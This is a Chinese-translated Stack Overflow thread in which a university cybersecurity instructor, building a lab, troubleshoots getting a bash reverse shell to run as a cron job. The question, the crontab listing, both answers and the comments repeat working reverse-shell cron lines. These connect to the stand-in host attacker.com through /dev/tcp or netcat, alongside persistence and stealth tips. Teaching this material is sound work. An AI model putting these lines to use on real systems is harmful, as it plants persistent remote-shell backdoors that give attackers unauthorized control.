【问题标题】:Bash reverse shell command cron job not working - I give upBash 反向 shell 命令 cron 作业不起作用 - 我放弃了
【发布时间】:2019-03-20 07:18:38
【问题描述】:

我在一所大学教授网络安全,并正在编写一个关于 Netcat 和反向 shell 的实验室。我创建了一个运行连接到我的侦听器的脚本的 cron 作业。这很好用。问题是指纹太多,脚本可以被删除。实验室的一部分是关于隐身操作(例如在输入的任何命令前放置一个空格)。

我正在尝试执行此命令。现在频率并不重要,但最终它会在启动时每 30 分钟运行一次。

/bin/bash -i >& /dev/tcp/attacker.com/5326 0>&1

从命令行运行时,该命令起作用并建立了反向 shell。我不想使用 80 端口,因为如果学生决定尝试一些愚蠢的事情,我确实希望阻止它。下一个实验室也在 iptables 上阻止这个端口。

我试过引用。我试过sudo。末尾的双 & 号。末尾有一个 & 符号。 /tcp/ 路径的进一步限定。我认为我不需要确定它是从哪个 tty 会话运行的(那会很困难)。在任何情况下 cron-run 命令都不会成功。

crontab -l

# Edit this file to introduce tasks to be run by cron.
# 
# Each task to run has to be defined through a single line
# indicating with different fields when the task will be run
# and what command to run for the task
# 
# To define the time you can provide concrete values for
# minute (m), hour (h), day of month (dom), month (mon),
# and day of week (dow) or use '*' in these fields (for 'any').# 
# Notice that tasks will be started based on the cron's system
# daemon's notion of time and timezones.
# 
# Output of the crontab jobs (including errors) is sent through
# email to the user the crontab file belongs to (unless redirected).
# 
# For example, you can run a backup of all your user accounts
# at 5 a.m every week with:
# 0 5 * * 1 tar -zcf /var/backups/home.tgz /home/
# 
# For more information see the manual pages of crontab(5) and cron(8)
# 
# m h  dom mon dow   command
* * * * * /bin/bash -i >& /dev/tcp/attacker.com/5326 0>&1

这是系统日志

cat /var/log/syslog 

Mar 19 07:42:01 raspberrypi CRON[12921]: (pi) CMD (/bin/bash -i >& /dev/tcp/attacker.com/5326 0>&1)
Mar 19 07:42:01 raspberrypi CRON[12917]: (CRON) info (No MTA installed, discarding output)

它似乎没有失败......它只是不工作。

所以对于许多比我聪明的人来说,我做错了什么以及如何让这个命令作为 cron 作业工作(调用脚本不是一种选择)?

更新: 解决方案是 * * * * * /bin/bash -c 'bash -i >& /dev/tcp/attacker.com/5326 0>&1',尽管我仍在努力解决两个错误。

【问题讨论】:

  • 您是否尝试过将 strace 放入 cron 以查看它在做什么以及在哪里失败?
  • 没有。让我试试。谢谢。
  • 另外,您使用的是哪个 cron 守护进程?我认为问题在于它构建 argv 数组的方式。我去看看源码查一下。
  • 您的系统上可能没有安装邮件服务(您使用的是 ubuntu 吗?)。 crontab 在脚本输出的情况下向 cron 的所有者发送邮件。
  • 我没有安装邮件服务,我也不想要。我不希望发送任何邮件。

标签: linux bash cron netcat reverse-shell


【解决方案1】:

/dev/tcpbashism

请注意,/dev/tcp/host/portbashism

cron 不会理解他们的!

你可以试试:

* * * * * /bin/bash -c '/bin/bash -i >& /dev/tcp/attacker.com/5326 0>&1'

或使用非 bash 方式:

使用netcat 作为示例:

* * * * * /usr/bin/nc -c /bin/bash\ -i attacker.com 5326 0>&1

(参见 man nc.traditionalman nc.openbsd

【讨论】:

  • 更接近。在侦听器处获得了连接,但 bash 抱怨 bash: cannot set terminal process group (7527): Inappropriate ioctl for devicebash: no job control in this shell
  • 第一个命令不太奏效。如下所示更改它确实 工作。我用* * * * * /bin/bash -c 'bash -i >& /dev/tcp/attacker.com/5326 0>&1'。仍然显示两条错误消息。有什么办法可以清理这些吗?
  • 嗯,这似乎与伪终端关联(/dev/pts/xxx)有关...
  • 错误消息似乎是因为 -i 选项 bash 想要一个终端。我怎样才能以discussed here 的身份运行我的cron 工作。
  • 在您指出的情况下,emacs 将提供伪终端。您可以尝试为此使用screen...
【解决方案2】:

我怀疑您从命令行传递的 argv 数组中的内容与来自 cron 守护程序的数组中的内容不匹配。虽然我不知道丢失的逃逸是什么,但这里有一个通用的诊断方法:

void main(int argc, char **argv) {
  for( int i=0; i<argc; i++) 
    printf("%d: '%s'\n",i,argv[i])
}

如果您将其编译成二进制文件并在这两种情况下使用您的 args 运行它,您应该会看到不同之处:

./a.out -i >& /dev/tcp/attacker.com/5326 0>&1

对比:

* * * * * /path/a.out -i >& /dev/tcp/attacker.com/5326 0>&1

如果不是 argv 的差异,&gt;&amp;0&gt;&amp;1 是否不会被命令行 bash 进程(而不是正在启动的进程)处理并应用于正在运行的 bash shell,以便攻击者二进制文件没有重定向,但它的父进程有?

编辑:

F。 Hauri 提出了一个很好的观点,但你可能想要在你的 crotab 中是:

* * * * * /bin/bash -c 'bash -i >& /dev/tcp/attacker.com/5326 0>&1'

(或者他们可以编辑他们的答案,/path/a.out 部分是错误的)

Edit2 - 捕获输出:

* * * * * /bin/bash -c 'bash -i >& /dev/tcp/attacker.com/5326 0>&1 >/path/to/logfile'

【讨论】:

  • 为我的无知道歉......你能把你推荐的内容降低一级吗?我应该采取哪些步骤?
  • 我得到了工作 Amoss。我什至修复了缺少“;”的语法错误:-) 结果是:
  • (编辑超时)我得到了工作 Amoss。我什至修复了缺少“;”的语法错误:-) 结果是:` ./a.out /bin/bash -i >& /dev/tcp/localhost/5326 0>&1` 导致`收到来自 localhost 57514 的连接!` ` 0: './a .out'` ` 1: '/bin/bash'` ` 2: '-i'` With ` * * * * * /path/a.out -i >& /dev/tcp/attacker.com/5326 0 >&1` 导致(来自 strace)`execuve("/bin/sh", ["/bin/sh", "-c", "/home/pi/tools/a. out -i >& /dev/"...], [/* 6 vars */]) = 0` 听者没有。我应该在某个地方寻找结果吗?
  • 恭喜!这听起来像是一个有效的传入连接。结果去向的问题有点复杂。因为 cron 旨在启动守护进程,所以结果通常会发送到邮件。您可以将输出重定向到文件。我将编辑以上内容。
  • 但是@Amoss 如果我重定向输出不会影响反向外壳的性质吗?
猜你喜欢
  • 1970-01-01
  • 2014-05-03
  • 2022-10-25
  • 2014-05-23
  • 1970-01-01
  • 2020-06-10
  • 1970-01-01
  • 2015-02-23
  • 1970-01-01
相关资源
最近更新 更多